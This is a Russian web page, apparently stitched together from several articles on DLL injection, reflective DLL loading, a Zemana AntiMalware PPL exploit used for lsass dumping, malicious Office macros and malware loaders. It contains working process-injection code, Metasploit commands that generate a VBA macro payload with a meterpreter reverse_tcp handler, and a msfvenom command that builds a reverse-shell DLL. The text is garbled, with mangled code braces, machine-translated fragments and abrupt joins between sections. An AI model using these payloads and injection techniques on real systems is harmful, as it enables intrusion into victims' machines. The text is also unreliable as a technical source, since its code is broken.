Что такое reflective dll

Обновлено: 04.07.2024

Исследователь представил атаку DLL injection с помощью Zemana AntiMalware.

Исследователь безопасности под псевдонимом Mumbai опубликовал эксплоит для уязвимости в решении безопасности Zemana AntiMalware. Атака представляет собой рефлексивную/отраженную DLL-инъекцию (Reflective DLL injection), позволяющую с помощью Zemana AntiMalware открыть привилегированный идентификатор потока процесса PP/PPL и внедрить шелл-код MiniDumpWriteDump().

«Уязвимость, которую я проэксплуатировал, раскрыл @Dark_Puzzle, обнаруживший привилегированную регистрацию с Zemana AntiMalware. Я только расширил это и использовал дополнительный IOCTL, для того чтобы открыть поток с FULL_ACCESS (но с некоторыми ограничениями)», – сообщил Mumbai.

Реализованная в Microsoft Windows технология Protected Process Light (PPL) является настоящей головной болью для хакеров. PPL не позволяет инструментам наподобие Mimikatz получать привилегированный идентификатор для критических процессов, таких как lsass, winlogon и crss, тем или иным способом контролирующих ядро Windows.

«Поэтому я изучил различные методы атак на ядро и обнаружил один успешный способ – использовать украденный драйвер ядра для открытия привилегированного идентификатора процесса и его основных потоков», – сообщил Mumbai.

С помощью привилегированных идентификаторов исследователь применил APC Bomb (метод инъекции кода) к каждому отдельному потоку, пока они не достигли изменяемого состояния.

«Модуль ppdump можно создать с помощью Make и Mingw-W64. Просто загрузите систему сборки кода Make с помощью используемого вами пакетного менеджера, а также компилятор Mingw-W64, а затем запустите make», – пишет Mumbai.

Исследователь опубликовал скрипт Cobalt Strike Aggresor, предназначенный для загрузки на консоль. После загрузки скрипта с помощью команды ppdump и идентификатора целевого процесса нужно ввести ppdump <pid>, и начнется процесс загрузки рефлективного модуля. Затем можно начинать инициализацию драйвера.

Protected Process Light (PPL) – технология, которая используется в Windows для контроля запущенных процессов и их защиты от потенциально опасных процессов и внедрения вредоносного кода.

DLL инъекция дает возможность выполнять свой код в адресном пространстве уже запущенного процесса. Многие используют инфицирования для написания читов для игр, выполнения вредоносных действий для системы и т.п. Но данный прием не обязательно применять для реализации коварных планов, а например, для обновления своего приложения.

Опишем структуру, через которую мы получим необходимые нам данные:

typedef FARPROC (WINAPI *LPMessageBox)(HWND, LPCWSTR, LPCWSTR, UINT);

typedef struct _InjectData char title[50];
char msg[50];
LPMessageBox MessageB;
> InjectData, *PInjectData;

static DWORD WINAPI InjectionMain(LPVOID lpParams)

PInjectData info = (PInjectData)lpParams;

info->MessageB(NULL, (LPCWSTR)info->msg, (LPCWSTR)info->title, MB_OK);
return 0;
>

В нашем примере она довольно таки проста. В нем мы не выполняем подгрузку DLL, хотя для большинства задач вам это может быть необходимо, для этого необходимо передать указатели на ф-ции LoadLibrary и GetProcAddress, также как мы это делам для MessageBoxA, и при помощи их подгружать необходимые вам DLL.

Теперь нам нужно получить доступ к explorer.exe, записать наш код, данные в адресном пространстве процесса и создать поток в процессе для выполнения нашего кода.

Опишем ф-цию которая возвращает идентификатор процесса:

DWORD getProcessID() DWORD processID = 0;
HANDLE snapHandle;
PROCESSENTRY32 processEntry = ;

if ( (snapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) return 0;
>

processEntry.dwSize = sizeof (PROCESSENTRY32);
Process32First(snapHandle, &processEntry);
do if ( wcscmp(processEntry.szExeFile, PROCESSNAME) == 0 ) return processEntry.th32ProcessID;
>
> while (Process32Next(snapHandle,&processEntry));

if ( snapHandle != INVALID_HANDLE_VALUE ) CloseHandle(snapHandle);
>


CreateToolhelp32Snapshot — возвращает нам фактически список процессов и их потоков. Обходим весь список и если найден наш процесс, то возвращаем его идентификатор или 0. Теперь, когда у нас есть идентификатор, мы можем получить доступ к процессу при помощи OpenProcess, но не сможем ни чего записать в его память. Для того, что бы наше приложение получило права, нам понадобиться следующая ф-ция:
BOOL setPrivilege(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable) TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL);
return ((GetLastError() == ERROR_SUCCESS));
>

Подробней о правах можете почитать здесь . Не смотря на то, что ответа за 1998 год он еще актуален для XP SP3 и насколько я знаю, для Windows 7, хотя лично еще не тестил.

Теперь у нас есть все для того, что бы получить доступ к процессу:

DWORD processID = getProcessID();
HANDLE hCurrentProc = GetCurrentProcess();

if (!OpenProcessToken(hCurrentProc, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) addLogMessage( "OpenProcessToken Error" , GetLastError());
return 0;
> else if (!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) addLogMessage( "SetPrivlegesSE_DEBUG_NAME Error" , GetLastError());
return 0;
>
>

if (processID == 0) MessageBox(NULL, _T( "Process not found!" ), _T( "Error" ), MB_OK | MB_ICONERROR);
return 0;
>

processHandel = OpenProcess(PROCESS_ALL_ACCESS, false , processID);


Нам не хватает указателя на ф-цию MessageBoxA, которая находиться в user32.dll:
HINSTANCE userHinstance = LoadLibrary(_T( "user32.dll" ));
injectData.MessageB = (LPMessageBox) GetProcAddress(userHinstance, "MessageBoxA" );

Ну что ж, перейдем теперь к самому интересному, собственно к инфицированию, запишем наш данный и код в память и создадим поток, который все это запустит. Для модифицирования памяти нам понадобиться две ф-ции: VirtualAllocEx и WriteProcessMemory.
LPVOID lpProc = VirtualAllocEx(processHandel, NULL, ProcSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
LPVOID lpParams = VirtualAllocEx(processHandel, NULL, 1024, MEM_COMMIT, PAGE_READWRITE );
DWORD dwWritten;
if (WriteProcessMemory(processHandel, lpProc, InjectionMain, ProcSize, &dwWritten ) == 0) addLogMessage( "WriteProcessMemory error" , GetLastError());
return 0;
>
if (WriteProcessMemory( processHandel, lpParams, &injectData, sizeof (injectData), &dwWritten ) == 0) addLogMessage( "WriteProcessMemory error" , GetLastError());
return 0;
>

VirtualAllocEx — предоставляет физическую память в виртуальном адресном пространстве процесса, а WriteProcessMemory записывает наши данные в память процесса.

Теперь создадим поток в процессе, который воплотит наш коварный план в жизнь:

Эта статья посвящена библиотеке динамической компоновки (DLL) отражения и кратко расскажет, как ее написать. Это метод, разработанный Стивеном Фьюером, который будет использовать его код для достижения магии. Я понимаю, что это тема, которая обсуждалась несколько раз, поэтому я хочу, чтобы эта статья была простой и компактной.

ссылка

Что такое DLL? DLL - это переносимый код, обычно используемый приложениями. Однако для этой статьи DLL - это возможность выполнять код. Зачем вообще об этом беспокоиться? Если наша цель - выполнить код, почему бы не записать исполняемый файл на диск? Рассмотрим на мгновение след: запись на диск, создание процесса, а затем его обработка; он может накапливаться в спешке. Импортировать библиотеки DLL и как загрузить их в память.

Обычно библиотеки DLL загружаются в память при запуске процесса, однако их также можно внедрить в уже запущенный процесс. Благодаря внедрению DLL нам больше не нужно создавать процесс выполнения кода (Различные техники внедрения DLL); Однако нам все равно нужно записать наши файлы на диск для внедрения. Отражающее внедрение DLL решает эту проблему. Этот метод, разработанный Стивеном Фьюером, позволяет нам внедрять код в существующие процессы без записи на диск. Итак, используя рефлексивную инъекцию DLL, мы переходим от записи на диск и создаем процесс для полного внедрения нашего кода в память . Спасибо, Стивен.

Как защитить и обнаружить

Платформа защиты конечных точек (EPP) запущенаОтметьте эти технологии. Лично я бы использовал свое программное обеспечение EPP для изучения внедрения DLL отражения на конечной точке, чтобы определить любые ограничения. Кроме того, DLL отражения обычно используют вызовы Windows API для выполнения вредоносного кода, который является потенциальной точкой обнаружения. Например,createremotethreadЭто популярный метод выполнения шелл-кода в удаленном процессе.

После просмотра Рафаэля оПобег из памятиПосле последнего поста есть еще несколько инструментов:

дрель

Это пошаговое руководство будет выполнено с использованием Visual Studio 2017.

  • скачатьОтражающая DLL Стивена ФьюераРепозиторий
  • Создайте новый проект: C ++ -> Рабочий стол Windows -> Библиотека динамической компоновки
  • Удалите stdafx.h, stdafx.cpp, targetver.h и * имя проекта * .cpp
  • Из репозитория Reflective DLL скопируйте и добавьте в проект ReflectiveDLLInjection.h, ReflectiveLoader.c и ReflectiveLoader.h.
  • Проект -> Свойства
    • Перейдите в C / C ++ -> Заголовок предварительной компиляции -> Установите для заголовка предварительной компиляции значение«Не использовать предварительно скомпилированные заголовки»(Потому что мы удалили stdafx.h)
    • C / C ++ -> Препроцессор -> Определение препроцессора -> Установите для определения процессора следующее (для x64 DLL, WIN64 и WIN_X64 вместо WIN32 и WIN_X64 . Я понимаю, что есть лучшие методы):

    Pic2.jpg

    Pic2.jpg

    • dllmain.cpp должен выглядеть так:
      • Обратите внимание, что lpReserved зарезервирован для параметров (или шелл-кода), которые могут быть переданы нашему коду во время выполнения. Я уверен, что Metasploit может передавать параметры, но не знаю, как это сделать. Cobalt Strike абсолютно эффективен и может бытьЗдесьНайти информацию@bdllspawn。

      Компилировать

      С нашей компиляцией DLL отражения (надеюсь) мы сможем внедрить без записи на диск. Metasploit, Cobalt Strike и Empire (гипотетически) имеют модули пост-разработки для внедрения пользовательских написанных DLL отражений.

      Pic6.jpg

      На рабочем столе WIN10-DM

      Pic7.jpg

      Pic7.jpg

      Эта техника древняя и добрая. Если вы использовали любую популярную платформу C2, возможно, вы использовали рефлексивную инъекцию DLL. Решения безопасности становятся все лучше и лучше в захвате таких технологий памяти, но продвинутые злоумышленники также все лучше и лучше корректируют свои технологии. На мой взгляд, неплохо было бы протестировать свои решения безопасности на предмет базовой рефлексивной инъекции DLL, чтобы понять их производительность. Инструменты пост-разработки, такие как Meterpreter, Empire (гипотетический) и Cobalt Strike, также используют рефлексивные библиотеки DLL. Было бы неплохо узнать, что такое флаги и почему.

      Загружаем малварь на компьютер жертвы: от макросов до дроперов для самых маленьких и ленивых

      После того, как злоумышленники идентифицировали цель, их следующим шагом часто является доставка полезной нагрузки. Многие системы или устройства в некоторой степени защищены антивирусным программным обеспечением, которое может распознавать, помечать или блокировать вредоносный пейлоад. Для обхода подобных систем защиты обычно используют специальные инструменты, такие как загрузчики, дропперы и шифровальщики, как часть первоначального заражения. Эти инструменты предназначены для того, чтобы избежать обнаружения продуктами безопасности, а затем загрузить и выполнить одну или несколько вредоносных полезных нагрузок. В этой статье мы постараемся максимально доступно рассказать о техниках, вредоносном ПО и инструментах, которые злоумышленники используют во время атак, а также напишем дроппер и лоадер, исключительно, для того, чтобы понять, как защищаться от подобных угроз.

      Вредоносные макросы

      Давайте подробнее рассмотрим макровирусы и способы защиты от них.


      Макросы написаны на языке программирования, предназначенном для работы в более широкой среде. Так, например, макросы для Microsoft Office в настоящее время написаны на Visual Basic для приложений (VBA), разновидности популярного языка программирования Microsoft Visual Basic, который был создан специально для Office. VBA работает с большинством программ Office, включая Access, Excel, Outlook, PowerPoint, Project, Publisher, Visio и Word. Он также работает в самых последних версиях Office как для Windows, так и для Macintosh, и, согласно Microsoft, большинство существующих макросов VBA также будет работать в облачном Office 365.

      После запуска Metasploit пишем:

      set AutoRunScript /post/windows/manage/smart_migrate

      generate -f vba -o payload.vba


      После создания полезной нагрузки нужно запустить reverse_tcp handler:

      set payload windows/meterpreter/reverse_tcp


      Теперь перейдем к созданию вредоносного документа.

      На компьютере с Windows открываем выбранное приложение MS Office. Сначала мы откроем окно макросов, нажав Вид -> Макросы :


      В окне макросов мы нажмем Создать и вставим содержимое файлаpayload.vba в редактор VBA, который откроется:



      Теперь все настроено. После открытия файла либо макрос запустится автоматически, либо жертве будет предложено включить макросы с помощью кнопки Включитьсодержимое :


      Когда макрос запуститься мы получим сессию meterpreter.

      Как и в случае с другими вредоносными программами на основе файлов, вредоносные макросы (которые, по сути, представляют собой файлы кода, встроенные в файл Office) могут быть обнаружены. Например, макрос может считаться вредоносным, если он:

      • Использует сетевые возможности для загрузки файлов с удаленных серверов
      • Выполняет скрипты в PowerShell, VBA и т. Д.
      • Встраивается в другие файлы Office или файлы шаблонов Office
      • Создает процессы

      Однако по мере того, как угрозы становятся все более запутанными и сложными, возрастает потребность в более сложных методах обнаружения. Начиная с Windows 10, Microsoft добавила новый компонент под названием Anti-Malware Scan Interface (AMSI) для решения этой проблемы. AMSI от Microsoft действует как интерфейс между интерпретаторами сценариев и антивирусными механизмами, позволяя им больше контролировать выполнение макросов, чем когда-либо прежде.

      Критические уязвимости

      Вам наверняка приходилось сталкиваться с понятием эксплоит или CVE, и вы знаете, что многие компании заражают через фишинговые письма с вложениями. Какая тут связь? Как мы уже знаем архив или документ, который прислали по почте может содержать в себе вредоносный код и для примера мы кратко рассмотрим три критических уязвимости, в популярном ПО, которые могут стать началом атаки.


      WinRAR поддерживает сжатие и распаковку нескольких форматов файловых архивов и для работы одного из них (ACE) интегрирована 19-летняя библиотека unacev2.dll, которая никогда не обновлялась с 2006 года, а также не поддерживает какие-либо технологии защиты. Уязвимость была обнаружена исследователями Check Point и заключается в том, что unacev2.dll не может правильно фильтровать относительные пути при проверке целевого пути. Поэтому можно создать специальный архив ACE, который при распаковке поместит вредоносный файл в указанном вами месте, в обход фактического пути. Помещение вредоносного исполняемого файла в папку автозагрузки системы приводит к выполнению произвольного кода.

      Для работы скрипта необходим Python 3.7 и выше. В коде есть переменные куда нужно вписать ваши значения:

      CVE-2017-0199

      Разработчики Microsoft в апреле 2017 года представили исправление для уязвимости CVE-2017-0199, которая затрагивала Microsoft Office. На момент выхода патча этот 0-day баг уже взяли на вооружение злоумышленники. По данным специалистов Proofpoint, Netskope и FireEye, с помощью этой уязвимости на машины пользователей доставляли таких вредоносов, как Dridex, WingBird, Latentbot и Godzilla.

      Как только файл PPSX был открыт, происходит следующее: с помощью анимации PowerPoint Show запускается загрузка файла logo.doc, который содержит XML и JavaScript и запускает PowerShell-команду, приводящую к загрузке с управляющего сервера злоумышленников файла и его выполнению.

      Найденная уязвимость в LibreOffice позволяет выполнить несанкционированный доступ к файловой системе, используя атаку обхода пути (path traversal attack). Модифицированный файл ODT может загрузить за пределами родительского каталога скрипт на Python, который получит доступ к файловой системе и выполнит любые указанные действия с правами текущего пользователя.

      Первым данную уязвимость обнаружил старший пентестер немецкой фирмы Cure53 Алекс Инфур (Alex Infuhr). Он предал свою находку огласке, и LibreOffice пропатчили, однако все версии до 6.0.7 по-прежнему уязвимы.

      Лоадеры

      Лоадеры обычно содержат ограниченный набор возможностей, их целью является обследование компьютера жертвы, а затем загрузка и выполнение более сложного вредоносного ПО. Точные детали этого процесса варьируются от загрузчика к загрузчику, но самые простые решения могут сохранить окончательную полезную нагрузку в файловой системе жертвы, а затем запустить ее как новый процесс. Продвинутые загрузчики будут хранить загруженную полезную нагрузку полностью в памяти и выполнять ее с помощью техники внедрения dll (DLL injection). Сохраняя полезную нагрузку в памяти, загрузчик снижает вероятность того, что вредоносное ПО могут обнаружить.

      Атаки в памяти

      Причина, по которой злоумышленники стараются избежать записи файлов на диск, заключается в том, что большинство широко используемых программ безопасности (например, антивирус) концентрируют свои усилия на проверке диска, хоть атаки в памяти и являются более сложными, они позволяют обойти антивирусное программное обеспечение. Для злоумышленника, желающего остаться незамеченным, в настоящее время это лучший способ.

      DLL инъекция – это процесс вставки/инъекции кода в запущенный процесс. Код, который мы вставляем, представляет из себя динамически подключаемую библиотеку (dll).


      На представленной диаграмме проиллюстрирован процесс почти каждой методики DLL инъекции:

      1. Присоединиться к целевому/удаленному процессу.
      2. Выделить память внутри целевого/удаленного процесса.
      3. Скопировать путь к DLL или её содержимое в память выбранного процесса.
      4. Проинструктировать процесс выполнить запуск DLL.

      CreateRemoteThread()

      Техника состоит из нескольких шагов:

      1. Открытие целевого процесса с помощью OpenProcess()
      2. Поиск адреса в LoadLibrary() с помощью GetProcAddress()
      3. Резервирование памяти для DLL в целевом или удаленном адресном пространстве процесса с помощью VirtualAllocEx()
      4. Запись DLL в зарезервированную память с помощью WriteProcessMemory()
      5. С помощью CreateRemoteThread() создается нить нового потока, который вызовет функцию LoadLibrary() с именем DLL

      Как указано в MSDN, функция LoadLibrary() “загружает специальные модули в адресное пространство и вызывает процесс. Указанный модуль может загружать другие загруженные модули”. Обычно для загрузки DLL в Windows используют именно эту функцию, она берет путь к файлу и выполняет свои функции, не требуя от пользователя слишком многого.

      Reflective DLL injection

      Существует более скрытый метод, называемый рефлексивной инъекцией DLL. Рефлексивная DLL инъекция работает, копируя всю DLL в память, поэтому она позволяет избежать регистрации DLL в процессе. Вся трудная работа уже сделана за нас.

      Мы используем GetReflectiveLoaderOffset(), чтобы определить относительный адрес в памяти процессов, затем мы используем относительный адрес плюс базовый адрес памяти в целевом или удаленном процессе (где мы написали DLL) в качестве отправной точки выполнения. Вот основные 4 шага для достижения этого:

      1. Запись заголовков DLL в память
      2. Запись каждого раздела в память (путем разбора таблицы разделов)
      3. Проверьте импорт и загрузку любых других импортированных DLL
      4. Вызов входной точки DllMain

      Этот метод предлагает отличный уровень скрытности по сравнению с другими методами и широко используется в Metasploit. Если вы хотите ознакомиться с этим способом подробнее вам следует посетить репозиторий первооткрывателя этой техники Стивена Фьюера:

      Process hollowing

      DLL Hijacking

      DLL Hijacking (подмена DLL) – эта техника злоупотребляет тем, как Windows загружает библиотеки DLL при выполнении EXE-файлов, и как в этой ОС работают разрешения для папок. По умолчанию аутентифицированный пользователь может добавить файл в каталог, который ему не принадлежит, но не может перезаписать или удалить существующие файлы.

      Если программа или служба загружает файл из каталога, к которому у нас есть доступ для записи, мы можем злоупотребить этим, чтобы открыть шелл с привилегиями, с которыми работает программа.

      Как правило, приложение Windows будет использовать предопределенные пути поиска для поиска DLL, и будет проверять эти пути в определенном порядке. Подмена обычно происходит путем помещения вредоносной библиотеки DLL в один из этих путей:

      1. Каталог, из которого загружено приложение
      2. 32-битный системный каталог (C:\Windows\System32)
      3. 16-битный системный каталог (C:\Windows\System)
      4. Каталог Windows (C:\Windows)
      5. Текущий рабочий каталог
      6. Каталоги в переменной среды PATH

      Иногда случается, что приложения пытаются загрузить библиотеки DLL, которые не существуют на компьютере. Если у вас есть право записи в любую из папок, где Windows будет искать DLL, вы можете сделать вредоносный файл для выполнения произвольного кода.

      C++ Loader

      Без лишних слов преступим к написанию лоадера. Сначала мы ищем процесс (PID), далее выделяем память для нашей DLL, после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.

      Что бы каждый раз не запускать компилятор и не переписывать код мы будем передавать PID (Process ID) через аргумент (argv[1]), при желании можете сделать то же самое с именем DLL.

      Для удобства значения этим аргументам можно указать прямо в CodeBlocks, просто следуйте шагам, которые показаны на скриншотах ниже:



      В поле “Program arguments” нужно указать ID процесса в который вы хотите инжектить dll. Следует помнить, что для x86 процессов нужна соответствующая dll, x64 не получится заинжектить в x86 процесс. Для демонстрации я использовал этот репозиторий с заранее скомпилированными DLL, которые выводят на экран “Hello world!”:

      Также в качестве загружаемого dll может использоваться пейлоад сгенерированный через msfvenom:

      msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=Port -f dll > dll.dll

      Код программы:

      int main(int argc, char *argv[])

      // Открываем процесс для записи и чтения

      processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

      // Выделяем память под новый поток

      remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

      // Пишем в новую область памяти

      WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);

      // Создаем поток в области памяти который запускает наш код

      CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);


      Собственные DLL на С и С++

      Перед тем как писать такие dll нужно установить Mingw, для компиляции файлов:

      Читайте также: